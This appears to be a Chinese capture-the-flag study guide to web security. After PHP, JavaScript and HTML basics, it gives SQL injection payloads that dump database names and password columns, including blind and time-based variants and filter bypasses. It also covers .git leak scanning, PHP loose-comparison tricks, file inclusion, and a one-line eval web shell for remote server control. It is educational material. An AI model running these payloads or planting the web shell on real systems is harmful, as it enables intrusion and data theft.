Skip to content

Web

Web可以简单地划分为前端和后端。简单来说,Web方向的工作是通过查找前端中的代码从而寻找并攻破后端。

常用工具

  • phpstudy:可用于快速搭建本地web服务器,集成了很多web需要用的工具。
  • Node.js:一个轻量高效的Javascript运行环境。

PHP

一门早期web开发语言,可使用phpstudy快速地完成环境配置。

示例:PHP

Example
PHP
<?php
// PHP 示例:一个简单的用户管理系统

// 定义一个用户类
class User {
    // 类属性
    public $name;
    public $email;

    // 构造函数
    public function __construct($name, $email) {
        $this->name = $name;
        $this->email = $email;
    }

    // 方法:显示用户信息
    public function displayUserInfo() {
        echo "Name: " . $this->name . ", Email: " . $this->email . "<br>";
    }
}

// 继承User类创建一个管理员类
class Admin extends User {
    // 管理员特有的属性
    public $role = "Administrator";

    // 重写方法:显示用户信息
    public function displayUserInfo() {
        echo "Name: " . $this->name . ", Email: " . $this->email . ", Role: " . $this->role . "<br>";
    }
}

// 使用User类创建一个对象
$user1 = new User("John Doe", "john@example.com");
$user1->displayUserInfo();

// 使用Admin类创建一个对象
$admin1 = new Admin("Jane Doe", "jane@example.com");
$admin1->displayUserInfo();

// 使用循环和条件语句
$users = [$user1, $admin1];
foreach ($users as $user) {
    if ($user instanceof Admin) {
        echo $user->name . " is an admin.<br>";
    } else {
        echo $user->name . " is a regular user.<br>";
    }
}

// 使用数组
$numbers = [1, 2, 3, 4, 5];
echo "Sum: " . array_sum($numbers) . "<br>";

// 使用字符串函数
$greeting = "Hello, World!";
echo "Reversed greeting: " . strrev($greeting) . "<br>";
?>

不需要会写,但需要能够读懂大部分的语句。详细教程可看:PHP|菜鸟教程

安装与版本切换

Bash
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update 
sudo apt-get upgrade

sudo apt-get install php7.2
sudo apt-get install php7.1
sudo apt-get install php7.0
sudo apt-get install php5.6 


# Switch the version
sudo update-alternatives --config php

Javascript

JavaScript 是一种高级的、解释执行的编程语言,它是网页开发的核心技术之一。

示例:Javascript

Example
JavaScript
// JavaScript 示例:一个简单的待办事项应用

// 待办事项类
class Todo {
    constructor(task) {
        this.task = task;
        this.completed = false;
    }

    // 切换任务完成状态
    toggleCompleted() {
        this.completed = !this.completed;
    }
}

// 待办事项管理器
class TodoManager {
    constructor() {
        this.todos = [];
    }

    // 添加新的待办事项
    addTodo(task) {
        const newTodo = new Todo(task);
        this.todos.push(newTodo);
    }

    // 标记待办事项为完成
    completeTodo(index) {
        if (index >= 0 && index < this.todos.length) {
            this.todos[index].toggleCompleted();
        }
    }

    // 显示所有待办事项
    displayTodos() {
        this.todos.forEach((todo, index) => {
            console.log(`${index + 1}: ${todo.task} - Completed: ${todo.completed}`);
        });
    }
}

// 使用示例
const myTodoManager = new TodoManager();
myTodoManager.addTodo("Learn JavaScript");
myTodoManager.addTodo("Read a book");
myTodoManager.completeTodo(0); // 标记第一个待办事项为完成
myTodoManager.displayTodos(); // 显示所有待办事项

详细教程可看:Javascript|菜鸟教程

HTML和CSS

在网页的显示中,HTML 负责网页的结构和内容, CSS 负责网页的布局和外观设计。想要了解网页功能,我们会更加关注HTML部分,需要熟悉掌握语法。

示例:HTML

Example
HTML
<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <title>我的网页</title>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        h1 {
            color: navy;
        }
        p {
            color: #555;
        }
    </style>
</head>
<body>
    <h1>欢迎来到我的网页</h1>
    <p>这是一个简单的HTML示例。</p>
    <p>HTML帮助你创建网页结构。</p>
    <a href="https://www.example.com">访问我的链接</a>
</body>
</html>

详细的教程还请查看:HTML|菜鸟教程

SQL注入

SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,来操纵数据库查询,从而获取、修改或删除数据库中的数据。SQL注入攻击通常发生在应用程序没有正确处理用户输入的情况下。

常用的工具有Burp Suite和Sqlmap,前者用于抓包,后者用于自动化注入。

基础注入

根据网站功能猜测 Sql语句:

SQL
1
2
3
SELECT column1, column2, ...
FROM table_name
WHERE condition;/* id = num or id = 'num' 数字型和字符型 */

构造运算式来判断是数字型还是字符型,如 1 和 2 - 1;或分别输入奇数个和偶数个引号看是否报错。

联合查询:UNION SELECT () FROM table_name前后列数必须一致:

SQL
id=3 union select 1,2 /* 刚好两列时才能够正常输出 */

使用UNION获取更多数据:

SQL
MySQL中,所有的数据库名存放在information_schema.schemata的schema_name字段下
SELECT schema_name FROM information_schema.schemata;
所有的表名存放在information_schema.tables的table_name字段下,可以以table_schema为条件筛选
SELECT table_name FROM information_schema.tables WHERE table_schema='db_name';
所有的列名存放在information_schema.columns的column_name字段下,可以以table_schema和table_name为条件筛选
SELECT column_name FROM information_schema.columns WHERE table_name='table_name' 
AND table_schema='db_name';
SELECT col_name1, , col_nameN FROM table_name WHERE id = 3 UNION SELECT 
group_concat(schema_name), 2, 3 FROM information_schema.schemata;
获取所有数据库信息,以此类推
获取到表、列名后,可以获取其他数据。这里以users表中的passwd字段为例
SELECT col_name1, , col_nameN FROM table_name WHERE id = 3 UNION SELECT 
group_concat(passwd), 2, 3 FROM users;
如果想要分行获取,也可以借助LIMIT
SELECT col_name1, , col_nameN FROM table_name WHERE id = 3 UNION SELECT passwd, 2, 3 
FROM users LIMIT 0, 1;

SELECT * FROM'users' WHERE username = 'ro' 'ot'也能输出user found:语法会自动拼接字符串,中间要隔一个空格。

user.php?uname=NotaUser' or '1' = '1:可以拼接成完整的bool语句。

1720509421214

Text Only
1
2
3
4
5
uname=a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#
SELECT col_name(…) FROM table_name WHERE username = 'a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#'
返回User Found,说明DATABASE()的第一位的ASCII码>0

SELECT col_name(…) FROM table_name WHERE username = 'a' or ASCII(SUBSTR((SELECT GROUP_CONCAT(passwd) FROM users), 1, 1))>0#'

利用响应时间获得数据:IF(condition, expr1, expr2) 如果condition为真就执行expr1,反之执行expr2,在expr里使用不同的延时sleep(time)就能获得结果,为了保证能够运行,中间的连接使用AND,因为sql也会截短运行,在保证前面是正确的情况下,后面的语句一定会执行。

特殊注入

INSERT, UPDATE, DELETE语句的注入:

Text Only
uname='='' AND IF({condition}, SLEEP(0), SLEEP(5)) AND ''='&email=a&passwd=b
uname=', DATABASE(), '')#&email=a&passwd=b /* #号是注释 */

报错注入:构造错误路径,让报错输出错误的路径,不能有语法错误,否则语法错误会掩盖路径错误。

堆叠注入:一行语句内有多条指令,即多个分号分隔的指令。

二次注入:第一次注入的时候恶意指令被转义,但存入数据库的指令没有转义,于是第二次注入时只需调出存入数据库的指令,就能实现拼接指令(需要在第二次注入的时候没有转义的判断)。

注入绕过

关键字/正则:大小写,等价命令,重复输入

语义匹配:嵌套注释

其他:

1720512454746

大多数获取数据的语句都需要用到select关键词,如果select完全被屏蔽了可以试着使用table语句。(这个处理方法只支持MySQL8以上的版本)

一些简单攻击

Git leaks & file leaks

  • Scan possible folders: using dirsearch -u <http://
  • Using GitHack to extract key info from .git folder

弱比较

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较(强比较)

== 在进行比较的时候,会先将字符串类型转化成相同,再比较(弱比较)

PHP
1
2
3
4
5
6
7
8
<?php
var_dump("a"==0);  //true
var_dump("1a"==1); //true
var_dump("a1"==1); //false
var_dump("a1"==0); //true
var_dump("0e123456"=="0e234567"); //true
var_dump(0=="1a"); //false
?> 
Note
  1. var_dump("a"==0); //true
    • 当字符串和数字进行比较时,字符串会被转换为数字。因为字符串 "a" 不以数字开始,所以它被转换为数字 0,因此 0 == 0true
  2. var_dump("1a"==1); //true
    • 在这个例子中,字符串 "1a" 被转换为数字时,转换会在遇到非数字字符前停止,因此 "1a" 转换为数字 1,所以 1 == 1true
  3. var_dump("a1"==1); //false
    • 由于 "a1" 以非数字字符开始,所以在转换为数字时整个字符串被视为 0,因此比较结果为 0 == 1,即 false
  4. var_dump("a1"==0); //true
    • 同上,"a1" 被转换为 0,所以 0 == 0true
  5. var_dump("0e123456"=="0e234567"); //true
    • 这个例子涉及到 PHP 中的一个特殊情况,当字符串遵循科学记数法的格式时,它们会被转换为浮点数。然而,由于 "0e任何数" 都会被解释为 0(因为它相当于 0 乘以 10 的任何次方),所以两边都被转换为 0,因此比较结果为 true
  6. var_dump(0=="1a"); //false
    • 这里 "1a" 被转换为数字 1(如之前解释的那样),因此比较结果为 0 == 1,即 false

变量覆盖

创建新的同名变量可以覆盖原变量,如用extract()展开键值对。

文件包含

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,攻击者可以通过操纵输入参数,使应用程序包含并执行任意文件。这种漏洞通常发生在PHP等支持文件包含功能的编程语言中,能造成文件泄露和代码注入。

文件泄露可以用于读取服务器内容,代码注入可以向服务器上传木马。

常用的技巧有PHP伪协议、包含session文件、包含临时文件、包含上传文件、包含本地文件等。

以包含上传文件为例,可以用简单的一句话木马来实现代码注入:

PHP
<?=eval($_POST['a']);

这个代码的eval函数能够让服务器执行POST请求中的a参数包含的代码,这样就能让服务器执行任意指令,然后就可以使用中国蚁剑来实现图形化控制远程服务器。